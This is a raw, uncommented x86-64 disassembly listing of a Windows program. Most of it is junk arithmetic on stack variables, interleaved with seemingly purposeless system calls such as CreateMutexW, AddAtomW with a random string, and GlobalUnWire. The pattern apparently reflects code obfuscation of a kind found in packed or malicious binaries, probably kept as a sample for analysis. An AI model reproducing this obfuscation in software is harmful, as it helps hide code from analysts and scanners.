mov rcx, qword [rsp + 0x6b70]
mov byte [rcx], al
mov eax, dword [rsp + 0x2140]
mov dword [rsp + 0x21d4], eax
movsx eax, word [0x14018c148]
mov rcx, qword [rsp + 0x5810]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6800]
mov word [rcx], ax
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x660]
xor eax, ecx
mov word [rsp + 0xb44], ax
lea rax, [rsp + 0x6b08]
mov qword [0x14018c528], rax
movzx ecx, word [rsp + 0xdd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x3510]
mov rcx, qword [0x14018bfb8]
mov qword [rsp + 0x6cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6cd0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5bc8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x6cd8], rax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x6ce0], rax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x4550]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x6aa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe08]
add eax, ecx
mov word [rsp + 0xe14], ax
lea rax, [rsp + 0xc6]
mov qword [rsp + 0x6ce8], rax
mov rax, qword [rsp + 0x4f68]
mov rcx, qword [rsp + 0x4988]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x6cf0], rax
mov eax, dword [rsp + 0x2050]
mov ecx, dword [rsp + 0x212c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1cd]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14018c2b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcbc], ax
lea rax, [rsp + 0x624]
mov qword [rsp + 0x6cf8], rax
movzx eax, word [rsp + 0x654]
movzx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [rsp + 0x3d8], ax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x6d00], rax
mov rax, qword [rsp + 0x5db0]
mov rcx, qword [rsp + 0x5250]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1bc8], eax
mov rax, qword [rsp + 0x2ef8]
mov rcx, qword [rsp + 0x6830]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4438]
mov qword [rcx], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x6d08], rax
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0xcec]
xor eax, ecx
mov rcx, qword [rsp + 0x5e40]
mov word [rcx], ax
lea rax, [rsp + 0x694]
mov qword [0x14018c530], rax
mov rax, qword [rsp + 0x5668]
mov rcx, qword [rsp + 0x4a88]
mov qword [rsp + 0x6d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3228], rax
movzx eax, word [rsp + 0xc94]
movzx ecx, word [rsp + 0x39c]
sar eax, cl
mov rcx, qword [rsp + 0x6840]
mov word [rcx], ax
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x6d18], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x3e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x5ac8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x48d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6040]
mov eax, dword [rax]
mov dword [rsp + 0x21d8], eax
mov rax, qword [rsp + 0x6d08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
add eax, ecx
mov byte [rsp + 0x1b7], al
lea rax, [rsp + 0xe44]
mov qword [rsp + 0x6d20], rax
mov rax, qword [rsp + 0x64e8]
movzx eax, word [rax]
mov rcx, qword [0x14018c510]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c190]
mov word [rcx], ax
mov rax, qword [rsp + 0x4878]
mov rcx, qword [rsp + 0x48b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ba0]
mov qword [rcx], rax
mov rax, qword [0x14018c168]
mov rcx, qword [rsp + 0x68f0]
mov qword [rsp + 0x6d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d28]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x6d30], rax
movzx eax, word [rsp + 0xc54]
movzx ecx, word [rsp + 0xe34]
add eax, ecx
mov word [rsp + 0x844], ax
movsx eax, byte [rsp + 0x1a2]
movsx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov byte [rsp + 0x138], al
mov eax, dword [rsp + 0x2048]
mov ecx, dword [rsp + 0x1bc8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6648]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e70]
mov rcx, qword [rsp + 0x4440]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x55f0]
mov qword [rcx], rax
lea rax, [0x14018c430]
mov qword [rsp + 0x6d38], rax
lea rax, [rsp + 0xd84]
mov qword [0x14018c538], rax
movzx eax, word [rsp + 0xcfc]
movzx ecx, word [rsp + 0x618]
or eax, ecx
mov word [rsp + 0xcc4], ax
lea rax, [rsp + 0x20fc]
mov qword [rsp + 0x6d40], rax
mov rax, qword [rsp + 0x6918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1da]
shl eax, cl
mov rcx, qword [rsp + 0x5860]
mov byte [rcx], al
mov rax, qword [rsp + 0x4428]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6448]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov qword [rsp + 0x6d48], rax
movsx eax, byte [rsp + 0x1d5]
movsx ecx, byte [rsp + 0x1c0]
sar eax, cl
mov rcx, qword [rsp + 0x6d08]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e48]
mov dword [rsp + 0x21dc], eax
mov rax, qword [rsp + 0x4710]
movsx eax, word [rax]
movsx ecx, word [0x14018bfc0]
add eax, ecx
mov rcx, qword [rsp + 0x62b8]
mov word [rcx], ax
movzx eax, word [rsp + 0xdf8]
movzx ecx, word [rsp + 0x97c]
and eax, ecx
mov rcx, qword [0x14018c230]
mov word [rcx], ax
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x6d50], rax
mov rax, qword [rsp + 0x67d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6148]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0x4a10]
mov rcx, qword [rsp + 0x5fd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x39b0], rax
mov rax, qword [rsp + 0x41c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21c8]
shr eax, cl
mov dword [rsp + 0x20cc], eax
mov rax, qword [rsp + 0x5348]
movzx eax, byte [rax]
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x5ae0]
mov rcx, qword [0x14018ada0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x48e8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6700]
mov word [rcx], ax
mov rax, qword [rsp + 0x6598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x65a0]
xor rcx, rax
mov rax, rcx
mov qword [0x14018be90], rax
lea rax, [rsp + 0x1d1]
mov qword [rsp + 0x6d58], rax
mov rax, qword [rsp + 0x4bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2030]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x64d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd14]
add eax, ecx
mov word [rsp + 0x8f8], ax
mov rax, qword [rsp + 0x6700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67c]
sub eax, ecx
mov rcx, qword [rsp + 0x67d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a70]
mov rcx, qword [rsp + 0x5cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5490]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1bc]
mov byte [rsp + 0x1f5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2198], eax
mov rax, qword [rsp + 0x41c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c00]
shr eax, cl
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3f8]
mov word [rsp + 0xe98], ax
movzx eax, word [rsp + 0xcb0]
mov rcx, qword [rsp + 0x6c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018add4], ax
mov rax, qword [rsp + 0x5b28]
mov rcx, qword [0x14018adc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4db8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f08]
mov qword [rcx], rax
lea rax, [0x14018ada8]
mov qword [rsp + 0x6d60], rax
mov rax, qword [rsp + 0x6018]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6938]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
lea rax, [rsp + 0x2e78]
mov qword [rsp + 0x6d68], rax
mov rax, qword [rsp + 0x46d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1cf], al
lea rax, [rsp + 0x1b14]
mov qword [rsp + 0x6d70], rax
movzx eax, byte [rsp + 0x1c6]
imul eax, eax, 0x28
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x6530]
mov rcx, qword [rsp + 0x5548]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1b78], eax
mov rax, qword [rsp + 0x6b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xad4]
movzx ecx, word [rsp + 0xd54]
xor eax, ecx
mov word [rsp + 0x6a8], ax
movzx eax, word [0x14018ad3c]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x4b98]
mov qword [rsp + 0x6d78], rax
mov rax, qword [rsp + 0x5e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x6bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2138]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4998]
mov dword [rcx], eax
lea rax, [rsp + 0x65f0]
mov qword [rsp + 0x6d80], rax
movsx eax, word [rsp + 0xe88]
movsx ecx, word [rsp + 0xd38]
sar eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x6d88], rax
mov rax, qword [rsp + 0x5bc8]
mov qword [0x14018c540], rax
mov rax, qword [rsp + 0x58f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c30]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [0x14018c0b0]
mov rcx, qword [rsp + 0x4e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6048]
mov qword [rcx], rax
lea rax, [rsp + 0x6448]
mov qword [rsp + 0x6d90], rax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov dword [rcx], eax
lea rax, [0x14018ad18]
mov qword [rsp + 0x6d98], rax
movzx eax, byte [rsp + 0x1c6]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov rcx, qword [rsp + 0x5d80]
mov byte [rcx], al
lea rax, [rsp + 0x21a4]
mov qword [rsp + 0x6da0], rax
movsx eax, byte [0x14018bdc7]
mov rcx, qword [rsp + 0x69f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x51b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x9ec]
movsx ecx, word [rsp + 0xc68]
add eax, ecx
mov rcx, qword [0x14018c348]
mov word [rcx], ax
movsx eax, word [rsp + 0xce4]
movsx ecx, word [0x14018c030]
xor eax, ecx
mov word [rsp + 0xbb4], ax
lea rax, [rsp + 0x92c]
mov qword [rsp + 0x6da8], rax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0xa98]
or eax, ecx
mov rcx, qword [rsp + 0x69a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x54c8]
mov qword [rsp + 0x6db0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
mov eax, dword [rsp + 0x1fd8]
mov rcx, qword [0x14018c2f0]
mov qword [rsp + 0x6db8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6db8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x62f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x157]
movsx ecx, byte [rsp + 0xb4]
sar eax, cl
mov byte [rsp + 0xd2], al
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x6dc0], rax
movzx eax, word [0x14018c19c]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov rcx, qword [rsp + 0x6c98]
mov word [rcx], ax
lea rax, [rsp + 0x52c0]
mov qword [0x14018c548], rax
lea rax, [rsp + 0x4360]
mov qword [rsp + 0x6dc8], rax
mov rax, qword [rsp + 0x59a0]
mov rcx, qword [rsp + 0x5bc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x5da0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6150]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
movzx ecx, word [0x14018c0c8]
and eax, ecx
mov word [rsp + 0x68c], ax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d80]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5860]
mov byte [rcx], al
mov eax, dword [rsp + 0x21cc]
mov dword [rsp + 0x21e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14018c0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x30c0], rax
mov rax, qword [rsp + 0x6a20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov rcx, qword [rsp + 0x4c30]
mov byte [rcx], al
lea rax, [rsp + 0x21c8]
mov qword [0x14018c550], rax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x6dd0], rax
mov rax, qword [rsp + 0x5b08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov word [rcx], ax
lea rax, [rsp + 0x694]
mov qword [rsp + 0x6dd8], rax
mov rax, qword [rsp + 0x5690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6950]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x47e8]
mov qword [rcx], rax
lea rax, [rsp + 0x6168]
mov qword [rsp + 0x6de0], rax
movsx eax, byte [rsp + 0x1b7]
mov rcx, qword [rsp + 0x5858]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5130]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f8]
mov rcx, qword [rsp + 0x4420]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6450]
mov dword [rcx], eax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c280]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
mov qword [rsp + 0x6df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6df0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4aa0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xbfc]
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x6d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x21a4], eax
mov rax, qword [rsp + 0x42e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d7], al
lea rax, [rsp + 0x1c3c]
mov qword [rsp + 0x6df8], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x2b08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x68e8], rax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x6e00], rax
mov rax, qword [0x14018c4f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x81c]
add eax, ecx
mov rcx, qword [rsp + 0x6cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xbc0]
mov rcx, qword [rsp + 0x4a08]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bf78]
mov word [rcx], ax
mov rax, qword [0x14018c290]
mov rcx, qword [rsp + 0x6080]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x5ae8]
mov rcx, qword [rsp + 0x5050]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ca0], rax
mov r9d, 0x24ae
xor r8d, r8d
lea rdx, [rsp + 0x6b40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2080], eax
mov rax, qword [rsp + 0x5368]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
shl eax, cl
mov word [rsp + 0xc6c], ax
movzx eax, word [rsp + 0xcfc]
mov word [rsp + 0xea0], ax
movsx eax, byte [rsp + 0x1b2]
mov rcx, qword [rsp + 0x58d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x48f8]
mov byte [rcx], al
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x6e08], rax
mov eax, dword [rsp + 0x20ac]
mov ecx, dword [0x14018ad60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3390]
movzx ecx, al
mov rax, qword [rsp + 0x2fc0]
sar rax, cl
mov rcx, qword [rsp + 0x5e20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018add8], ax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x6e10], rax
mov rax, qword [rsp + 0x4138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov dword [rcx], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x6e18], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x63f0]
mov rcx, qword [rsp + 0x4c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2134]
mov ecx, dword [rsp + 0x20c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4480]
mov dword [rcx], eax
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x60f0]
mov rcx, qword [rsp + 0x4c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4440], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0x6e28], rax
movzx eax, word [rsp + 0x5ec]
mov word [0x14018c558], ax
mov rax, qword [rsp + 0x2b50]
mov rcx, qword [rsp + 0x6030]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6760]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe5c]
mov rcx, qword [rsp + 0x49a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcd4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rax, [rsp + 0xce4]
mov qword [rsp + 0x6e30], rax
mov rax, qword [rsp + 0x52d0]
mov rcx, qword [rsp + 0x5728]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5bd0]
mov rcx, qword [rsp + 0x58b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3418], rax
movsx eax, byte [rsp + 0x1c9]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov rcx, qword [rsp + 0x50a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x6998]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1b14], eax
movzx eax, word [rsp + 0xe30]
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0x3038]
movzx ecx, al
mov rax, qword [rsp + 0x34a0]
shl rax, cl
mov rcx, qword [0x14018c1a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21a0]
mov ecx, dword [rsp + 0x20e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x201c], eax
mov rax, qword [rsp + 0x4180]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
movsx eax, word [rsp + 0xd30]
movsx ecx, word [rsp + 0xc6c]
sar eax, cl
mov word [rsp + 0x5c8], ax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x6e38], rax
lea rcx, str.lxyGyP_gAN3pH_EvGmDx9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0x5490]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x54c8], rax
movsx eax, byte [0x14018bdcb]
mov rcx, qword [rsp + 0x4168]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5400]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2198], eax
lea rax, [rsp + 0x21c4]
mov qword [rsp + 0x6e40], rax
movsx eax, word [rsp + 0x554]
movsx ecx, word [rsp + 0x4f8]
sub eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018be60]
mov word [rcx], ax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c8], rax
mov rax, qword [rsp + 0x2ee0]
mov rcx, qword [rsp + 0x49f0]
mov qword [rsp + 0x6e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6e48]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6af0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x5958]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6150]
mov qword [rcx], rax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x6e50], rax
mov rax, qword [rsp + 0x6900]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x6e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6e58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5638]
mov dword [rcx], eax
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x6e60], rax
movsx eax, byte [rsp + 0x1e0]
movsx ecx, byte [rsp + 0x1d5]
or eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x5d80]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0x6868]
mov eax, dword [rax]
mov dword [rsp + 0x21e4], eax
lea rax, [rsp + 0xd14]
mov qword [0x14018c560], rax
movzx eax, word [0x14018bea8]
mov rcx, qword [rsp + 0x4b30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x65d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4d8], ax
mov rax, qword [rsp + 0x5848]
mov rcx, qword [rsp + 0x2bc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x62f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5cf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ff4]
shr eax, cl
mov rcx, qword [rsp + 0x4420]
mov dword [rcx], eax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0x6e68], rax
mov rax, qword [rsp + 0x59c0]
mov rcx, qword [0x14018c368]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5740], rax
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x6e70], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xad4]
sub eax, ecx
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0x3ff8]
mov rcx, qword [0x14018c1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c068]
mov qword [rcx], rax
movzx eax, word [rsp + 0xdc4]
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x5fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e30], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21e8], eax
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6448]
sar rax, cl
mov qword [rsp + 0x3280], rax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x6e78], rax
mov rax, qword [rsp + 0x44f0]
mov ecx, dword [rsp + 0x1b18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x20ec], eax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x6e80], rax
movzx eax, byte [rsp + 0x1cc]
mov rcx, qword [rsp + 0x4a80]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d0], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2194], eax
mov rax, qword [rsp + 0x6510]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f18]
shl rax, cl
mov rcx, qword [rsp + 0x66e8]
mov qword [rcx], rax
lea rax, [0x14018c074]
